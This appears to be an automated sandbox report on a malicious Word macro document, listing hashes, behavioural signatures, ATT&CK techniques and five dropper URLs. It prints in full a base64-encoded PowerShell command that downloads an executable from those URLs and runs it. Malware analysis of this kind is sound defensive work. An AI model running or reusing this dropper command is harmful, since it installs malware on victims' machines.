8abe2662dd5b129ea1422b30d1e5f07b656201754d24376af623ac7e72e113e8

General

Target

8abe2662dd5b129ea1422b30d1e5f07b656201754d24376af623ac7e72e113e8.doc
Size

130KB
MD5

ec859aead55ca0793ef9118d618b814d
SHA1

99d144664b0ba946eb5a96f69ba05730a3761bf7
SHA256

8abe2662dd5b129ea1422b30d1e5f07b656201754d24376af623ac7e72e113e8
SHA512

2d5e7b60a434e4fd87a5549a638a3b07322f0c37580da4521ba483a7dcb148c1910b9c99ce0f6231552e9af39cdb280d58b8b6f25bbb2d1d4317ca81de97c1f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://atlanticsg.com/wp-includes/fsfrz22_mkp29qlby-69478/

exe.dropper

http://eastpennlandscape.com/css/qhJUtdBFvM/

exe.dropper

http://mcs-interiors.co.uk/cgi-bin/MUbadZUIXD/

exe.dropper

http://laderajabugo.navicu.com/wp-admin/6ohv5j_6m40d-4652183/

exe.dropper

http://banphongresort.com/wp-includes/8hxbg02o_wkpvf-27459009/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3852	4456	powershell.exe	81

Blocklisted process makes network request 3 IoCs

flow	pid	Process
62	3852	powershell.exe
65	3852	powershell.exe
68	3852	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3712	WINWORD.EXE
3712	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3852	powershell.exe
3852	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3852	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3712	WINWORD.EXE
3712	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3712 wrote to memory of 4688	3712	WINWORD.EXE	85
PID 3712 wrote to memory of 4688	3712	WINWORD.EXE	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8abe2662dd5b129ea1422b30d1e5f07b656201754d24376af623ac7e72e113e8.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3712
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4688

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy bypass -noprofile -e JABRAG4AZgB6AGoASAB3AD0AJwBGAGkAcQBMAGwAdwAnADsAJABOAGwATQBJAGQAawAgAD0AIAAnADcAMAA2ACcAOwAkAHcAcwBOAGQAMAA1AD0AJwBYAGgAUgBpAGkATwBQAGwAJwA7ACQAdQBVAEkARQBPAGYAMgB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAGwATQBJAGQAawArACcALgBlAHgAZQAnADsAJABaAEUAdwBCAFIAUwBPAD0AJwBuAEYAcAB6AGkAdwAnADsAJABUAHAAUwA0ADYAcwA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBgAGUAdABgAC4AdwBFAGIAQwBgAGwASQBFAE4AdAA7ACQARAB3AGIAOQB6AHMAVwA9ACcAaAB0AHQAcABzADoALwAvAGEAdABsAGEAbgB0AGkAYwBzAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGYAcwBmAHIAegAyADIAXwBtAGsAcAAyADkAcQBsAGIAeQAtADYAOQA0ADcAOAAvAEAAaAB0AHQAcAA6AC8ALwBlAGEAcwB0AHAAZQBuAG4AbABhAG4AZABzAGMAYQBwAGUALgBjAG8AbQAvAGMAcwBzAC8AcQBoAEoAVQB0AGQAQgBGAHYATQAvAEAAaAB0AHQAcAA6AC8ALwBtAGMAcwAtAGkAbgB0AGUAcgBpAG8AcgBzAC4AYwBvAC4AdQBrAC8AYwBnAGkALQBiAGkAbgAvAE0AVQBiAGEAZABaAFUASQBYAEQALwBAAGgAdAB0AHAAOgAvAC8AbABhAGQAZQByAGEAagBhAGIAdQBnAG8ALgBuAGEAdgBpAGMAdQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANgBvAGgAdgA1AGoAXwA2AG0ANAAwAGQALQA0ADYANQAyADEAOAAzAC8AQABoAHQAdABwADoALwAvAGIAYQBuAHAAaABvAG4AZwByAGUAcwBvAHIAdAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOABoAHgAYgBnADAAMgBvAF8AdwBrAHAAdgBmAC0AMgA3ADQANQA5ADAAMAA5AC8AJwAuAHMAUABsAEkAdAAoACcAQAAnACkAOwAkAEIAUwAyAHAAbQA1AHQAPQAnAGgAegBuAFUAYQBsACcAOwBmAG8AcgBlAGEAYwBoACgAJABHAGkAbQA4AHoAXwBHAFIAIABpAG4AIAAkAEQAdwBiADkAegBzAFcAKQB7AHQAcgB5AHsAJABUAHAAUwA0ADYAcwAuAEQAbwBXAE4ATABPAEEAZABmAEkATABFACgAJABHAGkAbQA4AHoAXwBHAFIALAAgACQAdQBVAEkARQBPAGYAMgB6ACkAOwAkAEwAUQBYADYAYQA2AD0AJwBoAEoAcwB6AHMAdwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAHUAVQBJAEUATwBmADIAegApAC4ATABFAE4ARwB0AEgAIAAtAGcAZQAgADMAMwA2ADkAOQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAcwB0AEEAcgB0ACgAJAB1AFUASQBFAE8AZgAyAHoAKQA7ACQATABTAEkAMwA0AEsARgA9ACcAaABjAEgANwBWAGYAJwA7AGIAcgBlAGEAawA7ACQATwBoADUAdABtAFkAbQA9ACcAbgBBADQAaQAyAEcAYQB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAWQBVAEYAUwBqAD0AJwBvAEcAcwB3AE4AdQAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3852

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3712-138-0x0000019BA0DA0000-0x0000019BA0DA4000-memory.dmp

Filesize
16KB

Download
memory/3712-136-0x00007FFA352F0000-0x00007FFA35300000-memory.dmp

Filesize
64KB

Download
memory/3712-132-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

Filesize
64KB

Download
memory/3712-133-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

Filesize
64KB

Download
memory/3712-130-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

Filesize
64KB

Download
memory/3712-135-0x00007FFA352F0000-0x00007FFA35300000-memory.dmp

Filesize
64KB

Download
memory/3712-131-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

Filesize
64KB

Download
memory/3712-146-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

Filesize
64KB

Download
memory/3712-134-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

Filesize
64KB

Download
memory/3712-145-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

Filesize
64KB

Download
memory/3712-144-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

Filesize
64KB

Download
memory/3712-143-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp

Filesize
64KB

Download
memory/3852-141-0x00007FFA4BD70000-0x00007FFA4C831000-memory.dmp

Filesize
10.8MB

Download
memory/3852-140-0x00007FFA4BD70000-0x00007FFA4C831000-memory.dmp

Filesize
10.8MB

Download
memory/3852-139-0x00000286EBA00000-0x00000286EBA22000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads